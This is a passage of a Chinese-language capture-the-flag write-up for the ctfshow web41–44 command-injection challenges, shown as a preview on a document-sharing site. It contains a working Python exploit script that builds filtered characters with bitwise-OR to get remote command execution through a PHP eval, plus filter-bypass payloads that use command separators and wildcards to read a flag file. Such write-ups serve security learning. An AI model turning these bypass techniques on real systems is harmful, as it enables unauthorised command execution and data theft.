没有合适的资源?快使用搜索试试~ 我知道了~
ctfshow-web41~60-WPctfshow-web41~60-WP
资源推荐
资源详情
资源评论
ctfshow-web41~60-WP
web41
if(isset($_POST['c'])){
$c = $_POST['c'];
if(!preg_match('/[0-9]|[a-z]|\^|\+|\~|\$|\[|\]|\{|\}|\&|\-/i', $c)){
eval("echo($c);");
}
}
过滤了数字和字母还有一些其他符号,但我们可以利用或运算符进行构造payload进行
命令执行思路:
通俗解释:例如源码中禁止我们使用了数字3,也就是ascii码值为51,我们可以使用
或运算符在没有被禁止的字符中构造出51来,比如19和32没有被禁止,我们进行或运
算19|32=51,就可以获得51这个ascii码值,也就是成功得到了数字3
知道了方法后,我们从ascii码表,也就是0-
255中找到没有被过滤的字符进行或运算,以寻求得到我们想要的字符结合了yu师傅给
出的exp,我们写一个独立的python脚本
#-- coding:UTF-8 --
# Author:dota_st
# Date:2021/2/10 12:56
# blog: www.wlhhlc.top
import requests
import urllib
import re
from sys import *
if(len(argv)!=2):
print("="*50)
print('USER:python exp.py <url>')
print("eg: python exp.py http://ctf.show/")
print("exit: input exit in function")
print("="*50)
exit(0)
url=argv[1]
#生成可用的字符
def write_rce():
result = ''
preg = '[0-9]|[a-z]|\^|\+|\~|\$|\[|\]|\{|\}|\&|\-'
for i in range(256):
for j in range(256):
if not (re.match(preg, chr(i), re.I) or re.match(preg, chr(j), re.I)):
k = i | j
if k >= 32 and k <= 126:
a = '%' + hex(i)[2:].zfill(2)
b = '%' + hex(j)[2:].zfill(2)
result += (chr(k) + ' ' + a + ' ' + b + '\n')
f = open('rce.txt', 'w')
f.write(result)
#根据输入的命令在生成的txt中进行匹配
def action(arg):
s1=""
s2=""
for i in arg:
f=open("rce.txt","r")
while True:
t=f.readline()
if t=="":
break
if t[0]==i:
s1+=t[2:5]
s2+=t[6:9]
break
f.close()
output="(\""+s1+"\"|\""+s2+"\")"
return(output)
def main():
write_rce()
while True:
s1 = input("\n[+] your function:")
if s1 == "exit":
break
s2 = input("[+] your command:")
param=action(s1) + action(s2)
data={
'c':urllib.parse.unquote(param)
}
r=requests.post(url,data=data)
print("\n[*] result:\n"+r.text)
main()
运行后,输入命令得到flag
https://blog-file-
1302856486.file.myqcloud.com/Web1000%28%E4%B8%80%29/%E5%91%BD%E4%BB%A4%E6%8
9%A7%E8%A1%8C/web41/%7DG%40_KOG%24CK29%60OW%5BQEF%5DQMR.png后来发现图片脚本
名字打错了,是或运算噢,不要概念混淆了哈哈
web42
if(isset($_GET['c'])){
$c=$_GET['c'];
system($c." >/dev/null 2>&1");
}
这次后面多了一个" >/dev/null
2>&1"语句,意思是写入的内容会永远消失,也就是不进行回显
1:> 代表重定向到哪里,例如:echo “123” > /home/123.txt2:/dev/null
代表空设备文件3:2> 表示stderr标准错误4:&
表示等同于的意思,2>&1,表示2的输出重定向等同于15:1
表示stdout标准输出,系统默认值是1,所以">/dev/null"等同于
“1>/dev/null”因此,>/dev/null 2>&1 也可以写成“1> /dev/null 2> &1”
那么本文标题的语句执行过程为:1>/dev/null
:首先表示标准输出重定向到空设备文件,也就是不输出任何信息到终端,也就是不
显示任何信息。2>&1 :
接着,标准错误输出重定向到标准输出,因为之前标准输出已经重定向到了空设备文
件,所以标准错误输出也重定向到空设备文件。
也就是我们如果输入?c=ls,输出就会被吞掉不进行回显,那该怎么办呢?其实很简单
,用;号或者||等等一些命令分隔符进行命令分隔payload如下:
?c=tac flag.php;
web43
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat/i", $c)){
system($c." >/dev/null 2>&1");
}
}
在前面基础上过滤了cat和;号,我们使用其他命令分隔符即可
?c=tac flag.php||
web44
f(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/;|cat|flag/i", $c)){
system($c." >/dev/null 2>&1");
}
}
把flag过滤了,相信如果你从前面做到现在,心中应该也知道怎么绕过了哈哈,使用
通配符进行绕过
?c=tac fla*||
剩余22页未读,继续阅读
资源评论
五行缺你94
- 粉丝: 1014
- 资源: 48
上传资源 快速赚钱
- 我的内容管理 展开
- 我的资源 快来上传第一个资源
- 我的收益 登录查看自己的收益
- 我的积分 登录查看自己的积分
- 我的C币 登录后查看C币余额
- 我的收藏
- 我的下载
- 下载帮助
安全验证
文档复制为VIP权益,开通VIP直接复制
信息提交成功